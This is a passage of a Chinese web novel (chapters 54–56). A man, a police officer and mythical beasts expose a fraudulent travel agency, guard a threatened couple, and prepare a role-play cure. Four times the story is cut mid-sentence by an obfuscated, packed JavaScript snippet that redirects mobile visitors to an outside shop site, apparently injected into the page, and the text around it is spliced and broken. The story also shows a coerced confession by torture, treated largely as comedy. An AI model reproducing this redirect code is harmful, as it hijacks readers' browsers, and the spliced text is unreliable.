独孤尽嗤笑一声,用风凝了条沙鞭,狠狠抽在负责人背上,“人如果有歉意,首先要做的是真诚的道歉,再按照自己违反的部分,进行赔偿,而不是你这种敷衍了事,只想快点让事情过去。” “我……我……我是个粗人,我没想到这些,我跟他们道歉,跟他们道歉!” “粗人,想出这么多坑人的条款是粗人能做出来的事吗?” “你这样是违法的你知不知道!你让警察来把我抓了去!”许是被打疼了,负责人有点破罐子破摔。 “然后让你请个会诡辩的律师,把你的罪行抹去是吗?”独孤尽继续用看透的眼神盯着负责人。 “那你让我死在这沙漠里吧!” 独孤尽深吸了口气,他离开“怪奇诊所”,睁开眼找来耳鼠。 “去‘怪奇诊所’把人治疗好,要用最好的手法。”为了防止出现意外,独孤尽专门让耳鼠出任务。 “需要用到最好的手法吗?”耳鼠摸了摸自己的耳朵,如果要用最好的手法,不应该让喜欢杀戮的合窳或者猲狙去吗? “别让他真的疯了。”独孤尽叮嘱,这个旅行社的负责人虽然赚的是黑心的钱,但是本质上并没有做什么十恶不赦的事,不是什么穷凶极恶的杀人狂魔。 自然要保证他的人身安全。 “好的主人,等我一会儿。”耳鼠专门去挖了一株代表光明的向日葵。 接下来的事情就不是独孤尽打算看的了,他只想得到一个好结果。 “阿尽,车要到景点了,我们要出去了。”九尾狐跑过来提醒独孤尽,其实她一点儿都不想出去看荒漠,她还是喜欢繁华的人间,而不是自然风光。 毕竟,她在几千年前就将自然风光都游览过了。 虽然在这几千年间,斗转星移,很多自然风光都发生了变化,但万变不离其宗,也就那样。 独孤尽赶忙叫了沉浸在自己世界里的春渐满,“出去了。” 春渐满合上书,他整理完线索后,看起了关于沙漠的书,对附近的一些洞窟文化也很感兴趣,一看就入了神。 他的脸上也带了些不情不愿,看来没有谁还在期待这次的旅行了。 神不知鬼不觉替换回去后,司机刚找到停车场把车停好,准备下车去买票,正在问每个人要身份证。 “也真亏你能弄到这么多身份证。”春渐满吐槽了一句,他现在可是眼睁睁看着某些人干着不合规的事。 “春警官可要保护我,特殊情况特殊办法。”确实,如果是为了突破案件,便衣警察也会有那么些个新身份。 “以后不干这些了,可不能再违反了。”春渐满警告独孤尽,独孤尽立马把双手举起来做投降状。 “肯定,我要是不用干这些了,一定好好享受生活,不给组织添麻烦!” 独孤尽几乎每天都想回归畅快的咸鱼生活。 等司机将票全买回来,已经又是一个小时后了,神兽们早就在景点外面拍了半天照片了。 它们还挺喜欢摆出各种各样奇怪的造型,而且有些造型,是只有他们才能摆的出的。 比如,趁人不注意,偷偷浮在空中,又或者手上搓个火球,脑袋上长朵花之类的。 独孤尽和春渐满从车上下来时,看到的就是一片乱象,虽然大家完美避开了人类的视线,但景区附近摄像头居多,有些可没避开摄像头。 只能祈祷这些摄像头是摆设,即便不是摆设,只要不出事,也不会有人闲着没事去看录像。 景区里人并不多,自然形成的湖泊像宝石一样聚着一汪汪让人不敢触碰的水流。 可神兽们百无禁忌,在那玩水玩得不亦乐乎。 “没想到,这里景色还挺美的。”春渐满终于发出了此次旅行以来第一个正向感慨。 “也就景色美了。”独孤尽点点头,拿了个小玻璃瓶装了一点湖水。 “雨落下来汇集到湖里怎么就变成这种神仙颜色了呢?”他拿着玻璃瓶仔细端详这纯净之极的水。 “这边的矿物质和别的地区的不一样。”春渐满在来之前就做过不少功课,刚才还读了与这边相关的书籍,了解到了不少相关地貌知识。 他仿佛又变成了那个为众神兽讲课的春老师,跟独孤尽缓缓道来。 独孤尽听得认真,不知不觉间,也有不少神兽聚集了过来,听春渐满讲解。 也就是此时,独孤尽突然想起来,“我记得,我们的旅行合同上说有专业人士会全程给我们讲解。” “是有这条,又一条违背了。”春渐满点点头,他也记得。 他们现在对旅行社违背条款已经见怪不怪了,颇有一种被PUA习惯了的感觉。 “今天就这个景点了是吗?”独孤尽看了看时间,现在已经晚上八点,距离太阳落山也就一小时了,实在不可能再去别的景点了。 “大家在这边多玩一会儿,等会儿就让替身上车,我们回画里休息。”独孤尽仗着旅行社根本没派人带他们进景区,直接明目张胆发号施令。 “啊——”独孤尽刚说完就觉得头晕目眩,他被画强行抽离了现实,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688950|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了一片荒芜的沙漠。 一对年轻的情侣陨落在此处。 黑白的文字刺痛了眼睛。 竟然说他们是殉情,可事实根本不是这样,他们是被旅行社谋害在此处殒命的。 独孤尽再次睁开眼发现自己躺在春渐满的腿上。 “你总算醒了,会治疗的神兽轮番来给你治疗都没把你唤醒。”春渐满担忧地看着独孤尽,以往独孤尽虽然也会被画预告些事情,可从未见他晕倒过。 “事情性质变了。”独孤尽叹了口气,他就知道,画要他出马,肯定不可能有小事。 这种只是骗取人钱财的事情在画那里可能都排不上号,只有命案或者冤案,才会在画那排上号。 “更恶劣了?”春渐满一下就猜到独孤尽的意思,他警惕地看了一下四周,看见只有几个神兽还在旁边候着,才放下心来。 “有人被旅行社害了,目前画预示我的是一对情侣,我们得麻烦你师傅给旅行社施压让他们查一查究竟是谁了。” 既然是预示,那说明事情还没发生,还有挽救的机会。 “情侣……你记得他们的样子吗?”春渐满赶忙让独孤尽把手指怼到自己额头上,“让我看一下。” 独孤尽无奈地把力道收回了一点,每次要是都怼这么用力,按照现在的频率,早晚春渐满光洁的额头上要被他怼出一个坑。 春渐满睁开眼时,指了指远处,“不用让我师傅帮忙了,你快看看,是不是那对?” “我看看……好像真是?!他们怎么会在这里?”独孤尽眯着眼睛仔细打量了一番,那对正坐在湖边腻歪的情侣确实是画里预示的人。 “他们是被旅行社塞到我们车上的人,坐在九尾狐那辆车上,所以你不熟。”春渐满因为要整队,所以对所有神兽和旅行社硬塞过来的人很清楚。 “绝对不可能殉情,这两人是好不容易请了假出来旅游放松的,只是碰到这个旅行社也有点不愉快,绝不是要殉情的样子。”春渐满可是从别的神兽那听到了不少八卦,其中就有关于这对情侣的。 独孤尽沉思片刻,准备派神兽着重关注这对情侣,不管他们有多腻歪,不想让旁人靠近,他都要让神兽去做电灯泡了。 “既然是旅行社下的手,肯定是在旅行途中跟那边发生了冲突,而且我们这么多人都在,他们肯定是把这对情侣单独拉走,下的手,我要多找几个神兽盯着他们,绝对不能让他们落单。” “神兽们要恨你的。”春渐满嘴角抽了抽,这么近距离当电灯泡,无论是不是人,都不会好受。 “人命重要。”独孤尽毫不含糊,如果不是他太醒目,他一定自己过去盯着。 “这个送给你。”独孤尽把那只装满湖水的小玻璃瓶递给春渐满。 “怎么突然送我这个?”虽然很好看,但春渐满还是有点一头雾水。 “我在里面施加了能量,可以静心安神,我看你连看书的时候都在皱眉。” 这一刻,春渐满的心出奇地静了,那些烦恼焦虑一瞬消散殆尽。 54. 贴身保护 不知道是不是频繁感受画原本只是给独孤尽的预示,春渐满最近总是心神不宁,太阳穴青筋突突。 但自从收到独孤尽送给他的加持了静心功能的湖水,好像一切都好了起来,他的脑袋也不疼了,也不焦虑了,好像没有什么是他无法解决的,如果有,那也不是他该担心的。 春渐满狐疑地看着手中的玻璃瓶,“你是不是在里面放了自己的咸鱼特质?” “我觉得我现在也变得咸鱼起来了。”春渐满觉得现在碰到什么都很闲适,一点儿都没有急迫感了。 哪怕…… 神兽们跟他说,那对情侣差点被旅行社的人挖走,他都平静得不像自己。 “独孤尽,人在那边,你要不要过去看看?”春渐满指了指被数十个神兽围在中间的两人。 比起旅行社的人,他们更害怕那些神兽。 毕竟神兽不怎么做人,身上有着一股暴虐的气息,各个看起来凶神恶煞,很不好惹。 一下子被这么多人围在一块儿,两人脸色都白了,男生挡在女生面前,死死护着她。 “你们想干什么?旅行社说给我们安排了其他车辆,我们要走了。” “不准去!”神兽们异口同声,看起来气势更强了。 “你们不能仗着人多欺负我们!”男生试图拿出手机把神兽们的行为拍下来。 神兽很担心,他们可不想变成网上的红人,那样绝对会被主人训斥。 可对无辜人类下手,同样会被主人惩罚。 一名神兽特别“大聪明”,直接在镜头下隐身,那画面极其骇人。 女生被男生挡在后面,没看清前面发生了什么,只听到自己的男朋友发出了受到惊吓的尖叫。 “啊——怪物啊!” 独孤尽听到声音,不得不走过去维持秩序,身为人类的他,有必要给同人人类的两人一点安慰。 “别怕,我们是这个……”独孤尽顺手就摸到了春渐满的上衣口袋,从里面取出证件,亮给两人看,“警号是……你们可以去查证。” “这家旅行社有问题,我们在调查,这些都是我们的人,刚才旅行社有所行动,应该是要对你们下手,情急之下采取了点特殊手段把你们保护起来。”经过独孤尽一番平铺直叙的解释,两人的情绪被安抚下来,终于能思考刚才发生的事情。 他们本来两人世界玩得好好的,突然间就觉得身边电灯泡多了起来,无论他们走到哪里身边总有人,久而久之,他们就跟旅行社反馈想换个人少一点多团,毕竟本来他们报的就是小团,旅行社把他们塞在这种多人大团里本就是违反了条约。 在他们两人强烈要求下,旅行社才同意给他们调整,这不,刚要让他们上别的车,就被这边一群人拦下了,旅行社那边见状,也不知道怎么回事,直接拍拍屁股就走人了。 “你的意思是说,他们要对我们俩下手?为什么呢?我们又没得罪他们,是他们一直在违约,你知道不知道,我们报的是精品小团,应该是七座的商务车来接我们,就这个事,足够告他们了。”男生色厉内荏地看着独孤尽,他仍警惕地将女生护在身后。 “有些事情是没有原因的,如果你一定要问坏人为什么要做恶,那可能是因为,你身上有利可图。”独孤尽提醒他。 “现在是法治社会,他们还敢乱来?!到处都是监控……”男生说到此处时,看了一眼四周,这里只是一个偏僻的休息点,只有几个当地商户在做着过路客的生意,别说监控了,连厕所都是旱厕。 供电不足,晚上连电灯都开不了,就这种地方…… 他们还真容易被悄无声息做掉,并且随意就能掩盖真相。 男生后背起了一层汗,女生从他背后挣出,她脸上因为慌乱到现在都还是惨白惨白,“请你们保护我们!” “回去一定给你们送锦旗!”女生的眼里充满着希望,显然从未经历过这般黑暗。 “不用给我们锦旗,保护公民本来就是我们的职责所在。”春渐满熟练地接过话,他把证件从独孤尽手中抢过,重新塞回口袋,还不动声色掐了独孤尽一记。 不经他同意就擅自亮他身份,这要是他带的队员,早被他训斥了。 偏偏……独孤尽不归他管。 “那,那就麻烦了!我们现在要怎么办?他们还在给我男朋友不停发消息。”女生紧张地点点头,再次表达谢意。 “你……跟哪个比较熟悉,或者说看哪个比较顺眼,只能让人贴身跟着保护你们了。”春渐满犹豫地看着一众神兽,确实各个都是肌肉结实的大老爷们,有一些幻化成女性的神兽还都远远地站着,没凑近。 “那边的也能挑。”春渐满指了一下远处的那一波打算躲懒的神兽。 被他们敬爱的春老师点到,远处的神兽不自然地整理了一下自己的造型,不情不愿往这边走过来。 女生见有能保护他们的人里也有女性,瞬间安心了很多,“她们也可以吗?” “可以。”这回是独孤尽帮忙回答的,毕竟比起春渐满,独孤尽作为主人,他的命令更不容违抗。 九尾狐拼命往后缩,极力减少自己的存在感,可她作为三界之中最擅长蛊惑人心的存在,再怎么想弱化自己的存在感,也弱化不了多少,女生一见她就觉得极其亲切。 “那就麻烦您保护我们了,请问您贵姓?” 九尾狐认命地抬起脸,看了一眼独孤尽,又看了一眼春渐满,最后把目光落在女生身上,“我姓胡,你确定让我保护你?不怕男朋友被我勾走了?” 女生听到九尾狐的话,朝男生看了一眼,随即笑了,她凑近九尾狐,在她耳边悄悄道,“我觉得你这么美,根本看不上我男朋友,我们俩跟你就不是一个画风的,所以我才不担心。” 她说话的声音不小,男生也听见了,非常赞同地点头。 一早上车的时候,他就看到这位画风格外不一样的美女了,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688951|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里是他能靠近的啊,远远欣赏就够了,而且他女朋友也跟他感情很好,没道理去招惹一个和他根本不是一个世界的美女。 “男人可没你想的这么简单,永远不要挑战人性。”九尾狐非常不赞同,她确实没有那个心思去挑拨离间,但只要她想出击,还没哪个男人能不服软的。 九尾狐想到此处,又看了独孤尽一眼。 不过,阿尽是特殊的,这个她真拿不下。 “旅行社那边的人,不要理,他们再找你也没事,带上我们的人一起去,他们不会有好果子吃。”独孤尽想了想,还是不放心,又跟九尾狐说道,“完成任务,给你奖励。” “这次的奖励可要特别点,不能和以往一样那么敷衍。”九尾狐开始讨价还价,她可不想只是获得几个小时的自由活动时间,她要更多。 “可以。”独孤尽意味深长地点了点头。 这些神兽里,最唯恐天下不乱的就属九尾狐了,不过平时她一直藏着掖着,想让人以为那些坏心思都是其他神兽想出来的。 “一言为定!”九尾狐眼睛都亮了,总算心甘情愿跟着那对情侣去做电灯泡。 另一边旅行社负责人暂时接受完治疗,精神回归了本体,他做的第一件事不是道歉,是让人调查最近接手的旅客中有哪些最不满他们。 调查出来的不是别人,正是那对情侣,也就有了让人拿他们开刀的一幕。 回归了现实,他觉得自己依旧可以为所欲为,他把沙漠当成自己的地盘,他受到的苦,会加倍奉还。 独孤尽让耳鼠盯着负责人的动向,得到那边的情况后,独孤尽失望地看了一眼蓝天白云。 即便荒漠遍地黄沙,连一朵花都难见到,青天之上的白云也是那么纯洁无瑕。 “让他在现实里,直接伏罪。”独孤尽带着春渐满,跟耳鼠一起去到负责人所在的位置。 对于凭空出现的三个人,负责人已经能较为淡定地面对,他之前在精神世界里遇到的可比这恐怖得多。 “有何贵干?”负责人坐在皮质转椅上,没动弹半分。 “让你诉说罪行。”独孤尽一句话就表明了身份,他指尖轻弹,让气泡充满这片空间。 即便在“怪奇诊所”之中,他也能让罪犯写下罪行,并把这份亲笔书写的罪证拿到现实之中。 只不过,这些不能让罪犯知晓,否则,就无法骗他供述罪行了。 春渐满看着负责人,这还是他第一次跟负责人打照面,他平静无波把空本子放在办公桌上,“如实写。” “否则,就让你再感受一下那晚的经历。”独孤尽故意说出这些,又把气泡弄得明显了些,展现在负责人面前。 果不其然,负责人回想到那些经历,已经有了应激反应,他额头一片汗水,手不自觉抓起了笔,“我……” 他刚想拒绝就看到了代表精神世界的气泡,瞬间改口,“我写我写,我肯定会跟大家道歉的,放心!” 55. 以假乱真 负责人写得极其磨唧,有点儿像小孩儿练字时的速度了,每一笔笔峰处还要顿两下。 独孤尽被他这种拖延的手法给逗笑了,当即用风刃在他手臂上划了一道。 “你可以再写慢点儿,到时候血也流干了。”独孤尽的话刚说完,已经在他手臂上又划了一道。 既然舒舒服服写自己的罪行他不乐意,那就让他饱含着痛苦去写。 春渐满看了一眼,发现独孤尽划的位置很有分寸,既没伤到筋骨又不会让他的血流到本子上,才放心。 “我都说了我写!急什么!我要想想怎么写……”这种不痛不痒的警告对负责人半点用都没有,他一点都不担心,还在想尽方法美化文字,让他的罪行看起来只是很浅层次的过错。 “我觉得你是还没想好怎么写,那就帮你回忆一下。”独孤尽干脆夺过了本子,将它合上,用风刃抵住负责人的脖颈。 “等会儿你再想写,就得穿着防护服才能写了,可别染脏了这本洁白的本子。”独孤尽没有废话,细碎的风刃呈十字状在负责人脖颈处切割出细小的伤口,虽不致命,却细细密密的疼着。 而且是一说话就会疼的那种。 “我……”负责人刚出发一个音就止住了,他想伸手摸一摸自己的脖子看看伤势,却发现有什么看不见的东西缠住了他的手腕,并扭到了身后。 “放心,死不了,等会儿它就凝血了,再重新给你割开放血,听说适当放血有助于提升新城代谢,血液循环。”独孤尽用风刃轻拍负责人的脸。 “我写,我如实写!”负责人回忆起他在精神世界里遭受的一切,又一次服软了,可这次独孤尽没立刻放开他。 “你真想好了,不如先口述给我听听。” “我,我,这你让我怎么口述?!”负责人有些崩溃。 “你怎么做的龌龊事就怎么说啊。”独孤尽似是想到了什么,用风刃凝了一个话筒过去,“话筒都放你嘴边了,你就安心说吧。” 独孤尽给了春渐满一个眼神,在得到首肯后,不慌不忙打开录像。 “我的旅行社涉嫌欺诈旅客,我的员工全都没有上岗资格,我不给游客配导游,只是让会开车的司机给大家开车,我利用虚假宣传让营销部门挖掘客户,能骗到一个是一个,还邀请了网红进行直播宣传……” 负责人每次打算狡辩时,都会风扎上一记,这次的风更像冰锥,又尖又利。 当风离开时,他就开始汩汩流血,失血的感觉让他头晕目眩,有点犯恶心。 尽力把所有的黑心心思全说完后,手上的限制才解除了,他的胳膊麻木得像个假肢,这时候,那本才写了几个字的本子重新放到了桌上。 “写吧,把你刚刚说的全写下来,漏了哪一条,那就……” “我写我写……”这次负责人是认认真真把自己刚才讲过的内容全都往纸上誊了,再也不敢耍小聪明。 那些小聪明在绝对的力量压制下,根本没用。 独孤尽拍了拍春渐满,把包零食打开塞他手里,“吃点,等会儿还要费神看他写的,提前补充点糖分,等会儿脑子转得灵活。” 春渐满拿着那包膨化食品,觉得很不像样,他还从来没在犯人供述自己罪行的时候吃过东西,尤其是零食这种消闲食品。 “别想拒绝,你吃不吃,他都还要写好一会儿。” “我吃。”春渐满不得不应下。 霎时间,除了笔尖在纸上书写的沙沙声就只有膨化食品发出的脆响。 “要不要再来杯快乐气泡水?”独孤尽打开拉环,往嘴里灌了一口。 “不要。”春渐满好不容易解决了手里的零食,他可不想再拿到别的吃的。 他实在不习惯在工作中做这种事。 独孤尽也没强求,只是把沙发推到了春渐满身后,“坐下等,我估摸他还得再写一个钟。” 负责人虽然在写自己的罪行,可耳朵里还老听到让他难受的垃圾话,心里不忿,凭什么别的旅行社都能这么做,就他这么做的时候被人抓着了。 但他从未想过,哪怕是他,也按照这个模式做了很多年,已经赚了够多的黑心钱了。 新鲜出炉的证词永远是最吸引人的,这代表着光即将升起。 “啧,吃的准备少了,光看着这东西,我能再干顿火锅。”独孤尽拿着再没什么修饰语句,朴实无华的证词,满意地递交给春渐满,“快来看看,也好让你开开胃口。” 春渐满确实因为忧心寝食难安,但在有了独孤尽给他的那瓶湖水后,这些情况已经缓解,他现在吃啥都香,觉也能睡着了。 “自己把证据整理给我。”春渐满跟在独孤尽身边久了,逐渐不走正常路,他直截了当要求负责人。 “你们没搞错吧?让我写也就算了,还要我自己整理证据?!”负责人掏了掏自己的耳朵,不敢相信自己听到的。 “有什么问题吗?”独孤尽赶忙跟上打配合。 “没,我会尽快让员工把东西整理好拿过来。”至今,负责人仍觉得他在自己的精神世界中,所以他写的这些东西根本没用,包括,哪怕他真的让员工把证据都收集好,这些证据也拿不到现实中去。 独孤尽半点不急,大有原地住下的意思,直到负责人把证据奉上。 这家旅行社其实漏洞百出,如果有人来查,他们还要费劲心思找补,可现在是拿证据,反而轻易得很。 没过多久,独孤尽和春渐满就等到了他们需要的东□□孤尽等春渐满把东西都仔仔细细核对了一遍,确保无误,才拢了一个泡泡在手上,用手指轻轻戳破。 他的声音再次变得飘渺,“忘了告诉你,这里可不是什么精神世界。” 春渐满也有些不解,这里明明是“怪奇诊所”,怎么会不是精神世界? 独孤尽贼兮兮凑到春渐满耳边,一开始确实是“怪奇诊所”,但在让他写证词的时候,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688952|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就偷梁换柱了,这些泡泡是泡泡机。 “神兽在人间也是可以隐身的。”独孤尽提醒了一句。 “这样拿到的证词是不是不具备法律效应……”春渐满还是充满顾虑。 “只要‘怪奇诊所’还在,你猜,负责人被传唤后,会不配合吗?” “那你刚刚不是告诉他,这里不是精神世界了吗?下次他碰到真的精神世界也不会信。” “是啊,碰到真的精神世界他也会怀疑,不敢信,所以,在真实世界,他可是很脆弱的,很容易丢命啊。”独孤尽一肚子坏水,他把易拉罐捏扁丢进垃圾桶,“他只是在精神世界不怕死而已。” “你刚刚……真的伤了他……”春渐满的理智又开始拉扯。 “呃,这个,小伤……”独孤尽有点儿得意忘形了,差点忘了自己身边这位可是根正苗红的。 “我自首我自首,春警官,看在我是初犯,又是为了正义的份上,从宽处理行不行?”独孤尽立马投降,“绝对深刻反省,以后尽量不再犯。” “尽量不再犯?你还打算这么做?”前面的求饶春渐满是半点没听进去。 “总得允许有特殊情况的时候,我不得已特事特办吧?”独孤尽还真没法百分百保证,而且他觉得自己可能之后还会用得上这招。 虽然让罪犯能够清晰认知自己的错误去自首是最优解,但奈何这世界上多的是一条路走到黑都不认为自己黑的。 毕竟,很多人本就是从黑暗中来,他不知道光明该是怎么样的,心里也没有一点善念,怎么改变都变不了本质。 “独孤尽,你的诊所,医术真菜,放心,你的从业人员我来帮你培训,以后不能再在现实中做这么危险的事。”春渐满不想在铁窗里见到独孤尽。 “好,一言为定,我可等着你的培训成果了,希望之后的案件能轻松解决。”有了春渐满的这句话,独孤尽觉得前方都是一片光明,他也总有一天能真的躺平。 另一边,九尾狐盯着那对情侣有点盯不下去了,这对情侣简直太八卦了,无论是男生还是女生,都在逮着她问东问西。 “姐姐,你的皮肤是怎么保养的?又白又嫩,像婴儿一样,我从上中学开始就没这种皮肤了。”女生就差上手直接摸了。 九尾狐往后躲了一节,“多睡美容觉,少想烦心事。”当然最重要的一条是,她的美貌可是用修为换的,别人可舍不得。 “那你一定是白富美了,只有白富美才能不为生计犯愁,也没有人能让自己不开心。”女生羡慕地看着九尾狐,“能不能让我抱个大腿?” “不能。”九尾狐第一次见这么自来熟的人类,她浑身的毛都要炸起来了,警惕地往后又退了一步。 阿尽到底什么时候能解决这次的事件啊,她想要补偿,大把的补偿! 独孤尽突然打了个喷嚏,他揉揉鼻子,可怜巴巴看着春渐满,“春警官,我都答应你了,你不能还在心里骂我吧?” 56. 扮演情侣 旅行社被彻查,头儿都进去了,底下人自然也就六神无主,成了散沙。 独孤尽这边的团建却没结束,他们重新自己找了地导,后面的行程都是自己选地方,选住址,选吃饭,一切费用都变成了自费。 一旦一切都变成了自费,独孤尽可就不想委屈自己了,虽然不能说极尽奢靡,但也是之前旅行社安排时完全无法比拟的。 这回神兽们开心了,心思也不是放在吃苦上了,那点儿歪心思也就生出来了。 “你说我们偷跑,主人会不论天涯海角都把我们找回去吗?” “不好说,主人说懒也懒,但是有时候挑战到他的权威,又会不乐意,非得讨回点什么。” “那我们怂恿个脑子简单的家伙去试试?” “不妨多试几次,一次不能算作参考样本。” 有两名神兽毫不顾忌会不会被别人听到,正大光明在那讨论偷跑的事。 好巧不巧就被春渐满听见了,春渐满听了好几遍才相信自己的耳朵,这俩别人不认得,可他认得,课业学得不怎么样,根本不适合在人类的世界里生存。 “听说有人在专门针对主人,我们只要偷偷投奔过去……不怕没法摆脱主人留给我们的阴影。” “主人留给我们什么阴影了?”另一只神兽只是单纯想获得自由,并没觉得独孤尽给他们留下了什么阴影。 “哎,说你什么好,不能随时随地想啥说啥,想干啥就干啥,这还不算阴影吗?” “但主人也给我们提供了容身之所,还有很多好吃的好玩的。”另一只神兽继续发言,反驳同伴。 “你到底是哪边的?不想出去就算了。” “我想出去啊,我们快找几个样本先行动看看。” 吵归吵,结果都是想出去,也就没再争执。 殊不知,独孤尽早就发现了这一切,正静静看着事态发展。 “你真不怕找不回来这些神兽?”春渐满格外担忧,神兽有多任性他是知道的,如果在人间获得自由,根本不记得曾经学过的内容,在人类世界胡作非为怎么办? 到时候,他是举报还是不举报? 举报吧,神兽被抓起来,不……不一定会被抓起来,可能根本抓不到,还会把追捕的人赶尽杀绝。 那他的同事可就遭殃了。 但不举报的话,又实在违背他的职业。 说来说去,人类世界为什么没有共通的法律?如果有法律标明告知神兽犯了怎样的条规算违法,那他也不用这么苦恼了。 春渐满又庸人自扰了片刻,独孤尽仍是一副半死不活的样子,他睡眼惺忪,“不怕,都跑不掉,哪一个都跑不掉。” “你当我是摆设还说得过去,你当画是摆设就太小看画了。”独孤尽比划了一下画的样子,用手指戳着画中央。 “画要真是摆设,就不会坑到我身上了,它就是个活的东西。” “画能自己辨别神兽是不是逃跑了,根本用不着我操心。” 虽然旅行换成了自己组织的,但独孤尽仍旧打不起兴致,还是到地方就打卡,不到地方就睡觉。 相反,有些神兽兴致还挺高,跟春渐满不断提出建议,想让行程变得有趣。 “等到夜深人静的时候,我们就在沙漠里狂欢,在那里没有监控,我们也可以各显神通。” “在没有人的地方现原形跟在画的世界里有什么不一样吗?”春渐满实在没懂两者区别,更何况,画里要更安全更自由些。 “春老师,这你就不懂了,要的就是虽然看起来很安全,但又有那么一丁点儿的风险,这种最刺激。”神兽说完又补充了一句,“当然,这个计划肯定是建立在安全之上的,一定不会有人大晚上不睡觉在荒漠里过夜。” 春渐满费解,让独孤尽定夺方案,独孤尽听完只是大手一挥,“随便造。” “没事,被人发现了,就说是外星人出现了,公关一下,比起神兽,大家现在更愿意相信外星人这种说法。”独孤尽太了解大众了。 就这样闲适了一段时间,春渐满见独孤尽每天醉生梦死,不知今夕何夕,很想提醒他,可画都没出预示,他也没什么能提的。 期间,心怀不轨的神兽零星逃走了一些,但画还没动作,独孤尽也就不急,倒是给九尾狐的奖励这块儿难住了他。 九尾狐不要别的,她居然想作为一位夫妻的孩子生活一世。 “阿尽怎么用这种眼神看我?难道我不能去感受一下人间的亲情烟火吗?”九尾狐知道,如果她悄悄幻化成为人类的孩子,那就可以每天都在人间游荡,根本不用再回画里。 “说好给我奖励的,不准说话不算话。” “让我想想。”独孤尽没应下,他知道,帮他最多的就是九尾狐,可心思最多的也是九尾狐。 “那好,在阿尽想好之前,我就休假了,拒绝加班啊。”九尾狐倒是不恼,她乖巧地点点头,眼里眉间都是笑意。 又过了一些时日,独孤尽难得觉得自己快躺得长草了,画突然给他接了一单很轻松的任务。 独孤尽拉着春渐满深情凝望,随后故作神秘凑到他耳边,“让你感受一下‘怪奇诊所’不一样的治疗,其实‘怪奇诊所’不只是对罪犯下手的,对一些受害者也会进行治疗。” “这次来了个终极恋爱脑患者。”独孤尽想了一下画里的情景,还是补充了一句,“不过,也是之后会闹出人命,画才会出手。” “情杀?”春渐满见过不少起情杀,原本是对恩爱有加的情侣,因为种种,最后变成了仇人,再激情犯罪。 “爱上渣男了,不过不是渣男杀的人,是她杀了渣男。”独孤尽摸了摸下巴,他有很久都没接过这种轻松活了,要改变一下治疗风格。 “糟了,这次最好也让九尾狐来办,但她的要求我还没答应,暂时不能为我所用了。”独孤尽觉得自己真是太良心了,居然真的给员工休了假。 “只能……我俩凑合演一下了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688953|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>春渐满听着独孤尽的话苗头不对,立刻警觉起来,他现在还记得之前跟独孤尽进别人意识里时,自己都扮演了什么角色。 往事不想再提,如今他也是不愿意的。 “不演。”没等独孤尽再解释下面的内容,春渐满就直接拒绝了。 “这次不让你演女生,我来演女生,你演男生。”独孤尽一副自己即将被占便宜的表情,他冲着春渐满挑挑眉,“这么好的机会你不抓住以后可就没有了。” “是……演情侣?”春渐满觉得这两个字烫舌,说完后别扭地移开了眼神。 “猜对了!就是演情侣!只有让她以旁观者的视角来看一遍,感受一下,才能彻底醒悟!”独孤尽跃跃欲试,他倒是没什么性别羞耻,无论扮演什么都很积极。 “事不宜迟,我跟你说一下等会儿要扮演的梗概。”独孤尽自然地拉过春渐满的手放在自己胸前,“我虽然是扮演的女生,但是我是个恋爱脑,只要能把你拿下,我什么都会做,只要能让你开心,我做什么都心甘情愿。” “当然,我的身体和心都只属于你,如果你让我去跟别人怎么样,我是绝对不会做的,不过你的心和身体都不属于我,你和其他人暧昧,游走在各个女生之间……”独孤尽才说到一半,春渐满就做了个停的手势。 “你的意思是,我扮演那个渣男,还要在意识里各种玩弄别的女生?” “都是虚假的,演戏而已,不要放在心里,你还是根正苗红的春警官。”独孤尽看春渐满脸色不对,赶紧宽慰他,如果春渐满都不同意跟他演的话,他就得一人分饰两角了。 “只有演得越过分,才能让作为旁观者的她更清楚的认识到问题,早日脱离苦海!”独孤尽继续鼓励春渐满,说得天花乱坠,“这可是件功德无量的好事啊!” 